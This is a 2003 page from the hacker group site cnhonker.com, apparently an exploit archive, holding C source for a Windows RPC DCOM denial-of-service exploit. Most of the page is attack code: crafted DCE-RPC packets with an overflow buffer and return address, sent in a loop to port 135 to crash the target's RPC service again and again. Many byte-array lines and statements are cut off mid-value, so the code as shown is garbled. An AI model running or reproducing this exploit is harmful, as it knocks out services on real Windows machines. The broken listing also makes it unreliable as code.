文档分类

- 软件作品
- 文档作品
- **代码作品**

<=

推荐作品

- Windows RPC DCOM DoS exploit
- Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...
- Mysql 3.23.x/4.0.x remote exploit
- download url file shellcode for win2k/xp
- 利用hash值取得函数地址的connect back shellcode.
- 分析理解elf文件并且自动编排shellcode的程序

Windows RPC DCOM DoS exploit

提交作品： bkbll
提交日期： 2003-09-15
作品属性： 推荐
文档类别： 代码作品
浏览次数： 今3次/总13911次

```
/*
* Windows RPC DCOM Dos exploit
* by bkbll bkbll@cnhonker.net, 2003/08/07
* http://www.cnhonker.com
* modified the code from oc192 Security
*
* Usage:
* cl dcomdos.cpp
* dcomdos -d 10.10.10.135 -n 3000
*/

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <winsock2.h>
#include <windows.h>
#include <io.h>
#include <conio.h>
#include <fcntl.h>
#include <signal.h>

#pragma comment(lib,"ws2_32")

#define VER "2.3_beta"
int num=1;

/* xfocus start */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x0
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x0
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x0
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x0
```

```
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xC
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x0
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x2
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x0
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x6
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x0
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x6
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x2
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x0
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0x
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x1
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x0
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x0
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0x
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x6
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x0
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x8
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x0
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x0
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x4
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x0
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x3
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x3
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x3
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
/* end xfocus */

unsigned char scc[]=
```

```
  "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
  "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
  "\x46\x00\x58\x00\x46\x00\x58\x00"

  "\xff\xff\xff\xff" /* return address */

  "\xcc\xe0\xfd\x7f" /* primary thread data block */
  "\xcc\xe0\xfd\x7f"; /* primary thread data block */

  /* bindshell no RPC crash, defineable spawn port */

/* xfocus start */
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x2
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
/* end xfocus */
int type=0;
struct
{
 char *os;
 u_long ret;
}
targets[] =
{
// { "[Win2k-Universal]", 0x0018759F },
 { "[Win2k/XP-Universal]", 0x0100139d },
}, v;
char *optarg = NULL;
int   optind = 1;
int   opterr = 1;

#define _next_char(string)  (char)(*(string+1))

int getopt(int argc, char *argv[], char *opstring)
{
  static char *pIndexPosition = NULL;
  char *pArgString = NULL;
  char *pOptString;

  if (pIndexPosition != NULL)
   {
     if (*(++pIndexPosition))
      {
        pArgString = pIndexPosition;
     }
  }

  if (pArgString == NULL)
   {
     if (optind >= argc)
      {
        pIndexPosition = NULL;  /* not in the middle of anything */
        return EOF;           /* used up all command-line arguments */
     }
     pArgString = argv[optind++]; /* set this to the next argument ptr */

     if (('/' != *pArgString) && ('-' != *pArgString))
      {
        --optind;            /* point to current arg once we're done */
        optarg = NULL;         /* no argument follows the option */
        pIndexPosition = NULL;  /* not in the middle of anything */
        return EOF;           /* used up all the command-line flags */
     }
```

```
      if ((strcmp(pArgString, "-") == 0) || (strcmp(pArgString, "--") == 0))
       {
         optarg = NULL;        /* no argument follows the option */
         pIndexPosition = NULL;  /* not in the middle of anything */
         return EOF;           /* encountered the special flag */
      }

      pArgString++;            /* look past the / or - */
   }

   if (':' == *pArgString)
    {
      return (opterr ? (int)'?' : (int)':');
   }
   else if ((pOptString = strchr(opstring, *pArgString)) == 0)
    {
      optarg = NULL;           /* no argument follows the option */
      pIndexPosition = NULL;     /* not in the middle of anything */
      return (opterr ? (int)'?' : (int)*pArgString);
   }
   else
    {
      if (':' == _next_char(pOptString))
       {
         if ('\0' != _next_char(pArgString)) optarg = &pArgString[1];
         else
          {
            if (optind < argc) optarg = argv[optind++];
            else
             {
               optarg = NULL;
               return (opterr ? (int)'?' : (int)*pArgString);
            }
         }
         pIndexPosition = NULL;  /* not in the middle of anything */
      }
      else
       {
         optarg = NULL;        /* no argument follows the option */
         pIndexPosition = pArgString;    /* point to the letter we're on */
      }
      return (int)*pArgString;    /* return the letter that matched */
   }
}

void usage(char *prog)
{
 //int i;
 printf("Usage:\n\n");
 printf("%s -d <host> [options]\n", prog);
 printf("Options:\n");
 printf("    -d:       Hostname to attack [Required]\n");
 printf("    -p:       Attack port [Default: 135]\n");
 printf("    -n:       offset.\n");
 exit(0);
}

void sig(int j)
{
   printf("\n[-] Received Ctrl+c\n");
   printf("num=%d\n",num);
   exit(0);
}

int main(int argc, char **argv)
{
  int len, len1, c;
```

```
  unsigned short port = 135;
  char buf1[0x1000];
  char buf2[0x1000];
 // unsigned short lportl=666,lports; /* drg */
  //char lport[] = "\x00\xFF\xFF\x8b"; /* drg */

  struct hostent *he;
  struct sockaddr_in their_addr;
  static char *hostname=NULL;
  SOCKET sockfd;
   WSADATA wsd;
   static    char *conbackhost=NULL;
   unsigned short conbackport=0;
   unsigned short conbackportl=0;
  //unsigned long ip;
  unsigned char sc[40000];
   int alllen=0,add90len=0;;
  signal(SIGINT,&sig);

  printf("RPC DCOM DoS exploit(%s) coded by bkbll <bkbll@cnhonker.net>, 2003/(
Security\n",VER);


   if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)
  {
      perror("WSAStartup error");
      exit(0);
   }

  if(argc<2)
  {
    usage(argv[0]);
  }

  while((c = getopt(argc, argv, "d:p:n:"))!= EOF)
  {
       switch (c)
       {
            case 'd':
                 hostname = optarg;
                 break;
            case 'p':
                 port = atoi(optarg);
                 if((port > 65535) || (port < 1))
                 {
                   printf("[-] Select a port between 1-65535\n");
                   return 1;
                 }
                 break;
            case 'n':
                 num = atoi(optarg);
                 break;
            default:
                 usage(argv[0]);
                 return 1;
       }
  }

  if(hostname==NULL)
  {
    printf("[-] Please enter a hostname with -d\n");
    exit(1);
  }
  if((conbackport==0) && (conbackhost!=NULL))
   {
      printf("[-] U must give me a port for connecting back\n");
      exit(1);
```

```
    }
    if((conbackport>0) && (conbackhost==NULL))
    {
        printf("[-] U must give me a host for connecting back\n");
        exit(1);
    }

   memcpy(scc+36, (unsigned char *) &targets[type].ret, 4);
    printf("[+] Resolving host..");
      fflush(stdout);
   if((he = gethostbyname(hostname)) == NULL)
   {
      printf("Failed\n");
       printf("[-] gethostbyname: Couldnt resolve hostname\n");
     exit(1);
   }

   printf("Done.\n");
   their_addr.sin_family = AF_INET;
   their_addr.sin_addr = *((struct in_addr *)he->h_addr);
   their_addr.sin_port = htons(port);
AGAIN:
   if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == INVALID_SOCKET)
   {
      perror("[-] Socket failed");
      return(0);
   }
CONN:
   printf("[+] Connecting to %s:%d.....",hostname,port);

    if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == SO
   {
      printf("Failed\n");
       perror("[-] Connect failed");
       printf("Crashed,num=%d\n",num);
       printf("[+] waiting server restart\r\n");
       Sleep(8000);
       goto CONN;
      //return(0);
   }
    printf("ok\n");
   while(1)
    {
        memset(sc,0,40000);
        memcpy(sc,scc,sizeof(scc));
        alllen+=sizeof(scc)-1;
        add90len=num;
        memset(sc+alllen,'C',num);
        alllen+=num;
        memcpy(buf2,request1,sizeof(request1));
        len1=sizeof(request1);

        *(unsigned long *)(request2)=*(unsigned long *)(request2)+alllen/2;
        *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+alllen/2;

        memcpy(buf2+len1,request2,sizeof(request2));
        len1=len1+sizeof(request2);
        memcpy(buf2+len1,sc,alllen);
        len1=len1+alllen;
        memcpy(buf2+len1,request3,sizeof(request3));
        len1=len1+sizeof(request3);
        memcpy(buf2+len1,request4,sizeof(request4));
        len1=len1+sizeof(request4);

        *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+alllen-0xc;
        *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+alllen-0xc;
        *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+alllen-0xc;
```

```
        *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+alllen-0xc;
        *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+alllen-0xc;
        *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+alllen-0xc;
        *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+alllen-0xc;
        *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+alllen-0xc
        /* end xfocus */
        alllen=0;
        if (send(sockfd,(const char *)bindstr,sizeof(bindstr),0)== SOCKET_ERROR)
        {
           if(WSAGetLastError()!=WSAECONNRESET)
           {
              printf("Target close the socket\r\n");
              closesocket(sockfd);
              goto AGAIN;
           }
           else
           {
              printf("[-] Send failed.........");
              printf("error:%d\r\n",WSAGetLastError());
              break;
           }
        }
        len=recv(sockfd, buf1, 1000, 0);

        if (send(sockfd,buf2,len1,0)== SOCKET_ERROR)
        {
           if(WSAGetLastError()!=WSAECONNRESET)
           {
              printf("Target close the socket\r\n");
              closesocket(sockfd);
              goto AGAIN;
           }
           else
           {
              printf("[-] Send failed.....");
              printf("error:%d\r\n",WSAGetLastError());
              printf("crashed,num=%d\r\n",num);
              goto AGAIN;
           }
        }
        num++;
     }
     printf("crashed,num=%d\r\n",num);
     closesocket(sockfd);
     WSACleanup();
    return(0);
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net